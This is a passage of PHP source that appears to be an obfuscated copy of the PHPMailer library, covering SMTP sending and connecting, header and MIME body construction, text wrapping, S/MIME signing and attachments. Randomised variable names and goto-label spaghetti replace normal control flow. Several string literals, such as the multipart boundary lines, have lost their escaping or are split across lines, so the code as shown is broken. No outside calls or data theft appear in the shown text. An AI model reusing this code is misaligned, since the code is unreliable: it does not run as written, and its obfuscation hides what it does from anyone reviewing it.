$this->doCallback($HYIC3, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
UoOKs:
}
Kp2LM:
diBAI:
if (!isset($MDRr3)) {
goto zyHZB;
}
ini_set("sendmail_from", $MDRr3);
zyHZB:
if ($HYIC3) {
goto BjQYL;
}
throw new Exception($this->lang("instantiate"), self::STOP_CRITICAL);
BjQYL:
return true;
}
public function getSMTPInstance()
{
if (is_object($this->smtp)) {
goto hT39A;
}
$this->smtp = new SMTP();
hT39A:
return $this->smtp;
}
public function setSMTPInstance(SMTP $P5wTz)
{
$this->smtp = $P5wTz;
return $this->smtp;
}
protected function smtpSend($y_KXY, $UlmlF)
{
$h7k31 = [];
if ($this->smtpConnect($this->SMTPOptions)) {
goto xj4Qf;
}
throw new Exception($this->lang("smtp_connect_failed"), self::STOP_CRITICAL);
xj4Qf:
if ('' == $this->Sender) {
goto Mez00;
}
$ZNZVL = $this->Sender;
goto vChiG;
Mez00:
$ZNZVL = $this->From;
vChiG:
if ($this->smtp->mail($ZNZVL)) {
goto TOwFs;
}
$this->setError($this->lang("from_failed") . $ZNZVL . " : " . implode(",", $this->smtp->getError()));
throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
TOwFs:
$Fa3tH = [];
foreach ([$this->to, $this->cc, $this->bcc] as $EDjOQ) {
foreach ($EDjOQ as $g7_oI) {
if (!$this->smtp->recipient($g7_oI[0], $this->dsn)) {
goto Krqt1;
}
$JxyrV = true;
goto TmScf;
Krqt1:
$XLcA5 = $this->smtp->getError();
$h7k31[] = ["to" => $g7_oI[0], "error" => $XLcA5["detail"]];
$JxyrV = false;
TmScf:
$Fa3tH[] = ["issent" => $JxyrV, "to" => $g7_oI[0]];
SpN3W:
}
MaIHE:
cwEc3:
}
rL3qk:
if (!(count($this->all_recipients) > count($h7k31) and !$this->smtp->data($y_KXY . $UlmlF))) {
goto miEoo;
}
throw new Exception($this->lang("data_not_accepted"), self::STOP_CRITICAL);
miEoo:
$t2gPF = $this->smtp->getLastTransactionID();
if ($this->SMTPKeepAlive) {
goto St3Si;
}
$this->smtp->quit();
$this->smtp->close();
goto N0L7X;
St3Si:
$this->smtp->reset();
N0L7X:
foreach ($Fa3tH as $SCnw3) {
$this->doCallback($SCnw3["issent"], [$SCnw3["to"]], [], [], $this->Subject, $UlmlF, $this->From, ["smtp_transaction_id" => $t2gPF]);
Ad_H0:
}
RiFFn:
if (!(count($h7k31) > 0)) {
goto Sjp89;
}
$lsf1w = '';
foreach ($h7k31 as $hlUaG) {
$lsf1w .= $hlUaG["to"] . ": " . $hlUaG["error"];
z6TRu:
}
pns32:
throw new Exception($this->lang("recipients_failed") . $lsf1w, self::STOP_CONTINUE);
Sjp89:
return true;
}
public function smtpConnect($p0n3v = null)
{
if (!(null === $this->smtp)) {
goto zmvS2;
}
$this->smtp = $this->getSMTPInstance();
zmvS2:
if (!(null === $p0n3v)) {
goto htUX0;
}
$p0n3v = $this->SMTPOptions;
htUX0:
if (!$this->smtp->connected()) {
goto edV4r;
}
return true;
edV4r:
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$iSLu_ = explode(";", $this->Host);
$MInsa = null;
foreach ($iSLu_ as $Ut2Hm) {
$U59rX = [];
if (preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($Ut2Hm), $U59rX)) {
goto za566;
}
static::edebug($this->lang("connect_host") . " " . $Ut2Hm);
goto kq1A3;
za566:
if (static::isValidHost($U59rX[3])) {
goto OrlL2;
}
static::edebug($this->lang("connect_host") . " " . $Ut2Hm);
goto kq1A3;
OrlL2:
$PRVwO = '';
$EZFto = $this->SMTPSecure;
$IrCJ6 = "tls" == $this->SMTPSecure;
if ("ssl" == $U59rX[2] or '' == $U59rX[2] and "ssl" == $this->SMTPSecure) {
goto lztFq;
}
if ("tls" == $U59rX[2]) {
goto WhJz4;
}
goto RAl0_;
lztFq:
$PRVwO = "ssl://";
$IrCJ6 = false;
$EZFto = "ssl";
goto RAl0_;
WhJz4:
$IrCJ6 = true;
$EZFto = "tls";
RAl0_:
$kRP7e = defined("OPENSSL_ALGO_SHA256");
if (!("tls" === $EZFto or "ssl" === $EZFto)) {
goto e3cFm;
}
if ($kRP7e) {
goto OTooz;
}
throw new Exception($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL);
OTooz:
e3cFm:
$S1iUU = $U59rX[3];
$qnls6 = $this->Port;
$sSX2q = (int) $U59rX[4];
if (!($sSX2q > 0 and $sSX2q < 65536)) {
goto InCbx;
}
$qnls6 = $sSX2q;
InCbx:
if (!$this->smtp->connect($PRVwO . $S1iUU, $qnls6, $this->Timeout, $p0n3v)) {
goto e2gxd;
}
try {
if ($this->Helo) {
goto Wofjn;
}
$njo9Y = $this->serverHostname();
goto CIWu2;
Wofjn:
$njo9Y = $this->Helo;
CIWu2:
$this->smtp->hello($njo9Y);
if (!($this->SMTPAutoTLS and $kRP7e and "ssl" != $EZFto and $this->smtp->getServerExt("STARTTLS"))) {
goto ezMyu;
}
$IrCJ6 = true;
ezMyu:
if (!$IrCJ6) {
goto oE2B3;
}
if ($this->smtp->startTLS()) {
goto yM2G9;
}
throw new Exception($this->lang("connect_host"));
yM2G9:
$this->smtp->hello($njo9Y);
oE2B3:
if (!$this->SMTPAuth) {
goto DylJ8;
}
if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) {
goto A_pcO;
}
throw new Exception($this->lang("authenticate"));
A_pcO:
DylJ8:
return true;
} catch (Exception $CsLop) {
$MInsa = $CsLop;
$this->edebug($CsLop->getMessage());
$this->smtp->quit();
}
e2gxd:
kq1A3:
}
Gypq5:
$this->smtp->close();
if (!($this->exceptions and null !== $MInsa)) {
goto r6U90;
}
throw $MInsa;
r6U90:
return false;
}
public function smtpClose()
{
if (!(null !== $this->smtp)) {
goto Zk2Gs;
}
if (!$this->smtp->connected()) {
goto zj62d;
}
$this->smtp->quit();
$this->smtp->close();
zj62d:
Zk2Gs:
}
public function setLanguage($AEvmd = "en", $KJIOJ = '')
{
$g1XKM = ["br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "rs" => "sr", "tg" => "tl"];
if (!isset($g1XKM[$AEvmd])) {
goto j35dg;
}
$AEvmd = $g1XKM[$AEvmd];
j35dg:
$Y2wIZ = ["authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: ", "mailer_not_supported" => " mailer is not supported.", "provide_address" => "You must provide at least one recipient email address.", "recipients_failed" => "SMTP Error: The following recipients failed: ", "signing" => "Signing Error: ", "smtp_connect_failed" => "SMTP connect() failed.", "smtp_error" => "SMTP server error: ", "variable_set" => "Cannot set or reset variable: ", "extension_missing" => "Extension missing: "];
if (!empty($KJIOJ)) {
goto m8OXK;
}
$KJIOJ = dirname(__DIR__) . DIRECTORY_SEPARATOR . "language" . DIRECTORY_SEPARATOR;
m8OXK:
if (preg_match("/^[a-z]{2}(?:_[a-zA-Z]{2})?$/", $AEvmd)) {
goto vLeII;
}
$AEvmd = "en";
vLeII:
$k8ZTi = true;
$kVNV9 = $KJIOJ . "phpmailer.lang-" . $AEvmd . ".php";
if (!("en" != $AEvmd)) {
goto fC8ie;
}
if (!static::isPermittedPath($kVNV9) || !file_exists($kVNV9)) {
goto JDjqN;
}
$k8ZTi = (include $kVNV9);
goto TKDWq;
JDjqN:
$k8ZTi = false;
TKDWq:
fC8ie:
$this->language = $Y2wIZ;
return (bool) $k8ZTi;
}
public function getTranslations()
{
return $this->language;
}
public function addrAppend($W7B1j, $KhyXp)
{
$UxZQI = [];
foreach ($KhyXp as $w1_0x) {
$UxZQI[] = $this->addrFormat($w1_0x);
BMii2:
}
kfCRy:
return $W7B1j . ": " . implode(", ", $UxZQI) . static::$LE;
}
public function addrFormat($KhyXp)
{
if (!empty($KhyXp[1])) {
goto RMtIc;
}
return $this->secureHeader($KhyXp[0]);
RMtIc:
return $this->encodeHeader($this->secureHeader($KhyXp[1]), "phrase") . " <" . $this->secureHeader($KhyXp[0]) . ">";
}
public function wrapText($GRJNx, $Z6HTu, $nztM7 = false)
{
if ($nztM7) {
goto SRPwH;
}
$z537_ = static::$LE;
goto r3aYU;
SRPwH:
$z537_ = sprintf(" =%s", static::$LE);
r3aYU:
$WYQjz = static::CHARSET_UTF8 === strtolower($this->CharSet);
$w84QB = strlen(static::$LE);
$YEbrP = strlen(static::$LE);
$GRJNx = static::normalizeBreaks($GRJNx);
if (!(substr($GRJNx, -$w84QB) == static::$LE)) {
goto DUg2s;
}
$GRJNx = substr($GRJNx, 0, -$w84QB);
DUg2s:
$yCe67 = explode(static::$LE, $GRJNx);
$GRJNx = '';
foreach ($yCe67 as $rYeep) {
$P7_u_ = explode(" ", $rYeep);
$CXBKr = '';
$pYP6u = true;
foreach ($P7_u_ as $pXV8B) {
if ($nztM7 and strlen($pXV8B) > $Z6HTu) {
goto WHU6j;
}
$UJjK0 = $CXBKr;
if ($pYP6u) {
goto ctaRN;
}
$CXBKr .= " ";
ctaRN:
$CXBKr .= $pXV8B;
if (!(strlen($CXBKr) > $Z6HTu and '' != $UJjK0)) {
goto YczSR;
}
$GRJNx .= $UJjK0 . $z537_;
$CXBKr = $pXV8B;
YczSR:
goto YBRZ7;
WHU6j:
$nR1Bq = $Z6HTu - strlen($CXBKr) - $YEbrP;
if ($pYP6u) {
goto NKBaK;
}
if ($nR1Bq > 20) {
goto aj9hC;
}
$GRJNx .= $CXBKr . $z537_;
goto Nza2p;
aj9hC:
$XtdVD = $nR1Bq;
if ($WYQjz) {
goto Rz2cV;
}
if ("=" == substr($pXV8B, $XtdVD - 1, 1)) {
goto xXkpL;
}
if ("=" == substr($pXV8B, $XtdVD - 2, 1)) {
goto YC0aY;
}
goto mvNTY;
Rz2cV:
$XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
goto mvNTY;
xXkpL:
--$XtdVD;
goto mvNTY;
YC0aY:
$XtdVD -= 2;
mvNTY:
$TBxxK = substr($pXV8B, 0, $XtdVD);
$pXV8B = substr($pXV8B, $XtdVD);
$CXBKr .= " " . $TBxxK;
$GRJNx .= $CXBKr . sprintf("=%s", static::$LE);
Nza2p:
$CXBKr = '';
NKBaK:
qfF81:
if (!(strlen($pXV8B) > 0)) {
goto NaKu0;
}
if (!($Z6HTu <= 0)) {
goto Thn_7;
}
goto NaKu0;
Thn_7:
$XtdVD = $Z6HTu;
if ($WYQjz) {
goto tyhce;
}
if ("=" == substr($pXV8B, $XtdVD - 1, 1)) {
goto L5hiV;
}
if ("=" == substr($pXV8B, $XtdVD - 2, 1)) {
goto o2_Z_;
}
goto GiLSw;
tyhce:
$XtdVD = $this->utf8CharBoundary($pXV8B, $XtdVD);
goto GiLSw;
L5hiV:
--$XtdVD;
goto GiLSw;
o2_Z_:
$XtdVD -= 2;
GiLSw:
$TBxxK = substr($pXV8B, 0, $XtdVD);
$pXV8B = substr($pXV8B, $XtdVD);
if (strlen($pXV8B) > 0) {
goto DxsXh;
}
$CXBKr = $TBxxK;
goto GeryG;
DxsXh:
$GRJNx .= $TBxxK . sprintf("=%s", static::$LE);
GeryG:
goto qfF81;
NaKu0:
YBRZ7:
$pYP6u = false;
Ja8TU:
}
FTH0N:
$GRJNx .= $CXBKr . static::$LE;
gDBIa:
}
fGHCm:
return $GRJNx;
}
public function utf8CharBoundary($btBz_, $zaeyx)
{
$l07Vf = false;
$NPMHP = 3;
F6taP:
if ($l07Vf) {
goto N2QUj;
}
$Qzm60 = substr($btBz_, $zaeyx - $NPMHP, $NPMHP);
$WSRQT = strpos($Qzm60, "=");
if (false !== $WSRQT) {
goto Dq62R;
}
$l07Vf = true;
goto ddjlq;
Dq62R:
$QysIZ = substr($btBz_, $zaeyx - $NPMHP + $WSRQT + 1, 2);
$QOchO = hexdec($QysIZ);
if ($QOchO < 128) {
goto WKaz9;
}
if ($QOchO >= 192) {
goto Niexk;
}
if ($QOchO < 192) {
goto EjYp1;
}
goto Y6crT;
WKaz9:
if (!($WSRQT > 0)) {
goto DtEHW;
}
$zaeyx -= $NPMHP - $WSRQT;
DtEHW:
$l07Vf = true;
goto Y6crT;
Niexk:
$zaeyx -= $NPMHP - $WSRQT;
$l07Vf = true;
goto Y6crT;
EjYp1:
$NPMHP += 3;
Y6crT:
ddjlq:
goto F6taP;
N2QUj:
return $zaeyx;
}
public function setWordWrap()
{
if (!($this->WordWrap < 1)) {
goto odN_E;
}
return;
odN_E:
switch ($this->message_type) {
case "alt":
case "alt_inline":
case "alt_attach":
case "alt_inline_attach":
$this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
goto zKK0F;
default:
$this->Body = $this->wrapText($this->Body, $this->WordWrap);
goto zKK0F;
}
EGzJ5:
zKK0F:
}
public function createHeader()
{
$HYIC3 = '';
$HYIC3 .= $this->headerLine("Date", '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate);
if ($this->SingleTo) {
goto nXcpC;
}
if (count($this->to) > 0) {
goto Fgs64;
}
if (count($this->cc) == 0) {
goto VarS6;
}
goto encmk;
Fgs64:
if (!("mail" != $this->Mailer)) {
goto l8ZEo;
}
$HYIC3 .= $this->addrAppend("To", $this->to);
l8ZEo:
goto encmk;
VarS6:
$HYIC3 .= $this->headerLine("To", "undisclosed-recipients:;");
encmk:
goto RZ0_V;
nXcpC:
if (!("mail" != $this->Mailer)) {
goto OhfFj;
}
foreach ($this->to as $EpIAw) {
$this->SingleToArray[] = $this->addrFormat($EpIAw);
bMFst:
}
iUz_S:
OhfFj:
RZ0_V:
$HYIC3 .= $this->addrAppend("From", [[trim($this->From), $this->FromName]]);
if (!(count($this->cc) > 0)) {
goto yvSbq;
}
$HYIC3 .= $this->addrAppend("Cc", $this->cc);
yvSbq:
if (!(("sendmail" == $this->Mailer or "qmail" == $this->Mailer or "mail" == $this->Mailer) and count($this->bcc) > 0)) {
goto QibOW;
}
$HYIC3 .= $this->addrAppend("Bcc", $this->bcc);
QibOW:
if (!(count($this->ReplyTo) > 0)) {
goto vUVi5;
}
$HYIC3 .= $this->addrAppend("Reply-To", $this->ReplyTo);
vUVi5:
if (!("mail" != $this->Mailer)) {
goto Ze1JQ;
}
$HYIC3 .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject)));
Ze1JQ:
if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) {
goto PO5RI;
}
$this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname());
goto OFB3v;
PO5RI:
$this->lastMessageID = $this->MessageID;
OFB3v:
$HYIC3 .= $this->headerLine("Message-ID", $this->lastMessageID);
if (!(null !== $this->Priority)) {
goto gQU_h;
}
$HYIC3 .= $this->headerLine("X-Priority", $this->Priority);
gQU_h:
if ('' == $this->XMailer) {
goto phPpi;
}
$tIheQ = trim($this->XMailer);
if (!$tIheQ) {
goto NUB_i;
}
$HYIC3 .= $this->headerLine("X-Mailer", $tIheQ);
NUB_i:
goto oc1vX;
phPpi:
$HYIC3 .= $this->headerLine("X-Mailer", "PHPMailer " . self::VERSION);
oc1vX:
if (!('' != $this->ConfirmReadingTo)) {
goto EdKuA;
}
$HYIC3 .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">");
EdKuA:
foreach ($this->CustomHeader as $y_KXY) {
$HYIC3 .= $this->headerLine(trim($y_KXY[0]), $this->encodeHeader(trim($y_KXY[1])));
ZkYt8:
}
T_5ZI:
if ($this->sign_key_file) {
goto CN1hR;
}
$HYIC3 .= $this->headerLine("MIME-Version", "1.0");
$HYIC3 .= $this->getMailMIME();
CN1hR:
return $HYIC3;
}
public function getMailMIME()
{
$HYIC3 = '';
$A1PuC = true;
switch ($this->message_type) {
case "inline":
$HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";");
$HYIC3 .= $this->textLine(" boundary="" . $this->boundary[1] . """);
goto a9i8C;
case "attach":
case "inline_attach":
case "alt_attach":
case "alt_inline_attach":
$HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_MIXED . ";");
$HYIC3 .= $this->textLine("\x9boundary="" . $this->boundary[1] . """);
goto a9i8C;
case "alt":
case "alt_inline":
$HYIC3 .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";");
$HYIC3 .= $this->textLine("\x9boundary="" . $this->boundary[1] . """);
goto a9i8C;
default:
$HYIC3 .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet);
$A1PuC = false;
goto a9i8C;
}
xd4Du:
a9i8C:
if (!(static::ENCODING_7BIT != $this->Encoding)) {
goto L3nfi;
}
if ($A1PuC) {
goto dY47P;
}
$HYIC3 .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding);
goto eLbUf;
dY47P:
if (!(static::ENCODING_8BIT == $this->Encoding)) {
goto uKVyx;
}
$HYIC3 .= $this->headerLine("Content-Transfer-Encoding", static::ENCODING_8BIT);
uKVyx:
eLbUf:
L3nfi:
if (!("mail" != $this->Mailer)) {
goto DhuAc;
}
$HYIC3 .= static::$LE;
DhuAc:
return $HYIC3;
}
public function getSentMIMEMessage()
{
return rtrim($this->MIMEHeader . $this->mailHeader, "
") . static::$LE . static::$LE . $this->MIMEBody;
}
protected function generateId()
{
$XtdVD = 32;
if (function_exists("random_bytes")) {
goto DHC32;
}
if (function_exists("openssl_random_pseudo_bytes")) {
goto U6ZWp;
}
$yaDF_ = hash("sha256", uniqid((string) mt_rand(), true), true);
goto qO6Qa;
DHC32:
$yaDF_ = random_bytes($XtdVD);
goto qO6Qa;
U6ZWp:
$yaDF_ = openssl_random_pseudo_bytes($XtdVD);
qO6Qa:
return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $yaDF_, true)));
}
public function createBody()
{
$UlmlF = '';
$this->uniqueid = $this->generateId();
$this->boundary[1] = "b1_" . $this->uniqueid;
$this->boundary[2] = "b2_" . $this->uniqueid;
$this->boundary[3] = "b3_" . $this->uniqueid;
if (!$this->sign_key_file) {
goto hqkge;
}
$UlmlF .= $this->getMailMIME() . static::$LE;
hqkge:
$this->setWordWrap();
$iNpJe = $this->Encoding;
$zAEu5 = $this->CharSet;
if (!(static::ENCODING_8BIT == $iNpJe and !$this->has8bitChars($this->Body))) {
goto j7mmA;
}
$iNpJe = static::ENCODING_7BIT;
$zAEu5 = "us-ascii";
j7mmA:
if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) {
goto xNZiP;
}
$iNpJe = static::ENCODING_QUOTED_PRINTABLE;
xNZiP:
$dB0CE = $this->Encoding;
$KPgOX = $this->CharSet;
if (!(static::ENCODING_8BIT == $dB0CE and !$this->has8bitChars($this->AltBody))) {
goto oZ2Gn;
}
$dB0CE = static::ENCODING_7BIT;
$KPgOX = "us-ascii";
oZ2Gn:
if (!(static::ENCODING_BASE64 != $dB0CE and static::hasLineLongerThanMax($this->AltBody))) {
goto iGpi_;
}
$dB0CE = static::ENCODING_QUOTED_PRINTABLE;
iGpi_:
$x0NDr = "This is a multi-part message in MIME format." . static::$LE;
switch ($this->message_type) {
case "inline":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("inline", $this->boundary[1]);
goto VweLU;
case "attach":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("attachment", $this->boundary[1]);
goto VweLU;
case "inline_attach":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("--" . $this->boundary[1]);
$UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";");
$UlmlF .= $this->textLine(" boundary="" . $this->boundary[2] . """);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, '', $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("inline", $this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("attachment", $this->boundary[1]);
goto VweLU;
case "alt":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[1], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
if (empty($this->Ical)) {
goto b1a_m;
}
$UlmlF .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", '');
$UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
$UlmlF .= static::$LE;
b1a_m:
$UlmlF .= $this->endBoundary($this->boundary[1]);
goto VweLU;
case "alt_inline":
$UlmlF .= $x0NDr;
$UlmlF .= $this->getBoundary($this->boundary[1], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->textLine("--" . $this->boundary[1]);
$UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";");
$UlmlF .= $this->textLine(" boundary="" . $this->boundary[2] . """);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("inline", $this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->endBoundary($this->boundary[1]);
goto VweLU;
case "alt_attach":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("--" . $this->boundary[1]);
$UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";");
$UlmlF .= $this->textLine(" boundary="" . $this->boundary[2] . """);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
if (empty($this->Ical)) {
goto C_4cX;
}
$UlmlF .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", '');
$UlmlF .= $this->encodeString($this->Ical, $this->Encoding);
C_4cX:
$UlmlF .= $this->endBoundary($this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("attachment", $this->boundary[1]);
goto VweLU;
case "alt_inline_attach":
$UlmlF .= $x0NDr;
$UlmlF .= $this->textLine("--" . $this->boundary[1]);
$UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";");
$UlmlF .= $this->textLine("\x9boundary="" . $this->boundary[2] . """);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[2], $KPgOX, static::CONTENT_TYPE_PLAINTEXT, $dB0CE);
$UlmlF .= $this->encodeString($this->AltBody, $dB0CE);
$UlmlF .= static::$LE;
$UlmlF .= $this->textLine("--" . $this->boundary[2]);
$UlmlF .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";");
$UlmlF .= $this->textLine(" boundary="" . $this->boundary[3] . """);
$UlmlF .= static::$LE;
$UlmlF .= $this->getBoundary($this->boundary[3], $zAEu5, static::CONTENT_TYPE_TEXT_HTML, $iNpJe);
$UlmlF .= $this->encodeString($this->Body, $iNpJe);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("inline", $this->boundary[3]);
$UlmlF .= static::$LE;
$UlmlF .= $this->endBoundary($this->boundary[2]);
$UlmlF .= static::$LE;
$UlmlF .= $this->attachAll("attachment", $this->boundary[1]);
goto VweLU;
default:
$this->Encoding = $iNpJe;
$UlmlF .= $this->encodeString($this->Body, $this->Encoding);
goto VweLU;
}
la31j:
VweLU:
if ($this->isError()) {
goto CA9Hi;
}
if ($this->sign_key_file) {
goto wfcJW;
}
goto yevxh;
CA9Hi:
$UlmlF = '';
if (!$this->exceptions) {
goto j57n1;
}
throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL);
j57n1:
goto yevxh;
wfcJW:
try {
if (defined("PKCS7_TEXT")) {
goto wwFiY;
}
throw new Exception($this->lang("extension_missing") . "openssl");
wwFiY:
$vn08u = fopen("php://temp", "rb+");
$ty0iw = fopen("php://temp", "rb+");
fwrite($vn08u, $UlmlF);
if (empty($this->sign_extracerts_file)) {
goto x21AA;
}
$DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file);
goto rU9Km;
x21AA:
$DiqXR = @openssl_pkcs7_sign($vn08u, $ty0iw, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], []);
rU9Km:
fclose($vn08u);
if ($DiqXR) {
goto JgnAB;
}
fclose($ty0iw);
throw new Exception($this->lang("signing") . openssl_error_string());
goto OzdyM;
JgnAB:
$UlmlF = file_get_contents($ty0iw);
fclose($ty0iw);
$EQ5MH = explode("\xa
", $UlmlF, 2);
$this->MIMEHeader .= $EQ5MH[0] . static::$LE . static::$LE;
$UlmlF = $EQ5MH[1];
OzdyM:
} catch (Exception $CsLop) {
$UlmlF = '';
if (!$this->exceptions) {
goto l9plm;
}
throw $CsLop;
l9plm:
}
yevxh:
return $UlmlF;
}
protected function getBoundary($DCyE_, $jf2sH, $PBZc0, $CTuvx)
{
$HYIC3 = '';
if (!('' == $jf2sH)) {
goto TXmYT;
}
$jf2sH = $this->CharSet;
TXmYT:
if (!('' == $PBZc0)) {
goto EwHxT;
}
$PBZc0 = $this->ContentType;
EwHxT:
if (!('' == $CTuvx)) {
goto SNlv2;
}
$CTuvx = $this->Encoding;
SNlv2:
$HYIC3 .= $this->textLine("--" . $DCyE_);
$HYIC3 .= sprintf("Content-Type: %s; charset=%s", $PBZc0, $jf2sH);
$HYIC3 .= static::$LE;
if (!(static::ENCODING_7BIT != $CTuvx)) {
goto IEzud;
}
$HYIC3 .= $this->headerLine("Content-Transfer-Encoding", $CTuvx);
IEzud:
$HYIC3 .= static::$LE;
return $HYIC3;
}
protected function endBoundary($DCyE_)
{
return static::$LE . "--" . $DCyE_ . "--" . static::$LE;
}
protected function setMessageType()
{
$W7B1j = [];
if (!$this->alternativeExists()) {
goto na_Ur;
}
$W7B1j[] = "alt";
na_Ur:
if (!$this->inlineImageExists()) {
goto viPSD;
}
$W7B1j[] = "inline";
viPSD:
if (!$this->attachmentExists()) {
goto FyAZ9;
}
$W7B1j[] = "attach";
FyAZ9:
$this->message_type = implode("_", $W7B1j);
if (!('' == $this->message_type)) {
goto vVev4;
}
$this->message_type = "plain";
vVev4:
}
public function headerLine($dEC3m, $GywUj)
{
return $dEC3m . ": " . $GywUj . static::$LE;
}
public function textLine($GywUj)
{
return $GywUj . static::$LE;
}
public function addAttachment($t1usk, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "attachment")
{
try {
if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
goto IsjtG;
}
throw new Exception($this->lang("file_access") . $t1usk, self::STOP_CONTINUE);
IsjtG:
if (!('' == $W7B1j)) {
goto chvMA;
}
$W7B1j = static::filenameToType($t1usk);
chvMA:
$FFm9e = basename($t1usk);
if (!('' == $dEC3m)) {
goto Q0eP_;
}
$dEC3m = $FFm9e;
Q0eP_:
$this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $dEC3m];
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
$this->edebug($CsLop->getMessage());
if (!$this->exceptions) {
goto XdDql;
}
throw $CsLop;
XdDql:
return false;
}
return true;
}
public function getAttachments()
{
return $this->attachment;
}
protected function attachAll($zvcbf, $DCyE_)
{
$x0bAU = [];
$ZqXFB = [];
$JqU5f = [];
foreach ($this->attachment as $XGAfM) {
if (!($XGAfM[6] == $zvcbf)) {
goto Ywv_1;
}
$jm30w = '';
$t1usk = '';
$iS2Yi = $XGAfM[5];
if ($iS2Yi) {
goto D2o0L;
}
$t1usk = $XGAfM[0];
goto P0kXi;
D2o0L:
$jm30w = $XGAfM[0];
P0kXi:
